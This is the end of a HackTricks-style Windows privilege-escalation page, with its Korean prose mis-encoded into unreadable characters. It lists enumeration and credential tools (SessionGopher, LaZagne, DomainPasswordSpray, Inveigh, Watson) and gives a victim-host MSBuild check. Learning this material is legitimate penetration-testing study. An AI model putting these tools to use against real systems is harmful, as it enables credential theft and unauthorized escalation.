JAWS โ ์ผ๋ถ ๊ฐ๋ฅํ ๊ตฌ์ฑ ์ค๋ฅ๋ฅผ ํ์ธํ๊ณ ์ ๋ณด๋ฅผ ์์งํฉ๋๋ค (check here).
privesc โ ๊ตฌ์ฑ ์ค๋ฅ๋ฅผ ๊ฒ์ฌํฉ๋๋ค
SessionGopher โ PuTTY, WinSCP, SuperPuTTY, FileZilla, RDP์ ์ ์ฅ๋ ์ธ์
์ ๋ณด๋ฅผ ์ถ์ถํฉ๋๋ค. ๋ก์ปฌ์์ -Thorough ์ฌ์ฉํ์ธ์.
Invoke-WCMDump โ Credential Manager์์ ์๊ฒฉ ์ฆ๋ช
์ ์ถ์ถํฉ๋๋ค. Detected.
DomainPasswordSpray โ ์์ง๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๋๋ฉ์ธ ์ ๋ฐ์ ์คํ๋ ์ดํฉ๋๋ค
Inveigh โ Inveigh๋ PowerShell ๊ธฐ๋ฐ์ ADIDNS/LLMNR/mDNS/NBNS ์คํธํผ ๋ฐ ์ค๊ฐ์ ๋๊ตฌ์
๋๋ค.
WindowsEnum โ ๊ธฐ๋ณธ์ ์ธ Windows ๊ถํ ์์น ์ ๋ณด ์ด๊ฑฐSherlock ~~~~ โ ์๋ ค์ง privesc ์ทจ์ฝ์ ์ ๊ฒ์ํฉ๋๋ค (Watson์ผ๋ก ๋์ฒด๋์ด ์ฌ์ฉ ์ค๋จ๋จ)WINspect โ ๋ก์ปฌ ๊ฒ์ฌ (Admin ๊ถํ ํ์)
Exe
Watson โ ์๋ ค์ง privesc ์ทจ์ฝ์ ์ ๊ฒ์ํฉ๋๋ค (VisualStudio๋ก ์ปดํ์ผํด์ผ ํจ) (precompiled)
SeatBelt โ ํธ์คํธ๋ฅผ ์ด๊ฑฐํ์ฌ ๊ตฌ์ฑ ์ค๋ฅ๋ฅผ ๊ฒ์ํฉ๋๋ค (privesc ๋ณด๋ค๋ ์ ๋ณด ์์ง ๋๊ตฌ์ ๊ฐ๊น์ต๋๋ค) (์ปดํ์ผ ํ์) (precompiled)
LaZagne โ ์ฌ๋ฌ ์ํํธ์จ์ด์์ ์๊ฒฉ ์ฆ๋ช
์ ์ถ์ถํฉ๋๋ค (GitHub์ ์ฌ์ ์ปดํ์ผ๋ exe ์์)
SharpUP โ PowerUp์ C# ํฌํธBeroot ~~~~ โ ๊ตฌ์ฑ ์ค๋ฅ ๊ฒ์ฌ (GitHub์ ์ฌ์ ์ปดํ์ผ๋ ์คํํ์ผ). ๊ถ์ฅํ์ง ์์. Win10์์ ์ ๋์ํ์ง ์์ต๋๋ค.Windows-Privesc-Check โ ๊ฐ๋ฅํ ๊ตฌ์ฑ ์ค๋ฅ๋ฅผ ๊ฒ์ฌํฉ๋๋ค (python์ผ๋ก ๋ง๋ exe). ๊ถ์ฅํ์ง ์์. Win10์์ ์ ๋์ํ์ง ์์ต๋๋ค.
Bat
winPEASbat โ ์ด ๊ฒ์๋ฌผ์ ๊ธฐ๋ฐ์ผ๋ก ๋ง๋ ๋๊ตฌ์ ๋๋ค (์ ์ ์๋์ ์ํด accesschk๊ฐ ํ์ํ์ง ์์ง๋ง ์ฌ์ฉํ ์ ์์ต๋๋ค).
Local
Windows-Exploit-Suggester โ systeminfo ์ถ๋ ฅ๋ฌผ์ ์ฝ์ด ์๋ ๊ฐ๋ฅํ ์ต์คํ๋ก์์ ๊ถ์ฅํฉ๋๋ค (๋ก์ปฌ python)
Windows Exploit Suggester Next Generation โ systeminfo ์ถ๋ ฅ๋ฌผ์ ์ฝ์ด ์๋ ๊ฐ๋ฅํ ์ต์คํ๋ก์์ ๊ถ์ฅํฉ๋๋ค (๋ก์ปฌ python)
Meterpreter
multi/recon/local_exploit_suggestor
ํ๋ก์ ํธ๋ ์ฌ๋ฐ๋ฅธ ๋ฒ์ ์ .NET์ผ๋ก ์ปดํ์ผํด์ผ ํฉ๋๋ค (see this). ํผํด์ ํธ์คํธ์ ์ค์น๋ .NET ๋ฒ์ ์ ํ์ธํ๋ ค๋ฉด ๋ค์์ ์คํํ์ธ์:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
์ฐธ๊ณ ์๋ฃ
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF โ VirtualAlloc ROP (RCE) ๋ฐ ์ปค๋ ํ ํฐ ํ์ทจ
-
Check Point Research โ Silver Fox ์ถ์ : Kernel Shadows์์์ ์ถ์ ์
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


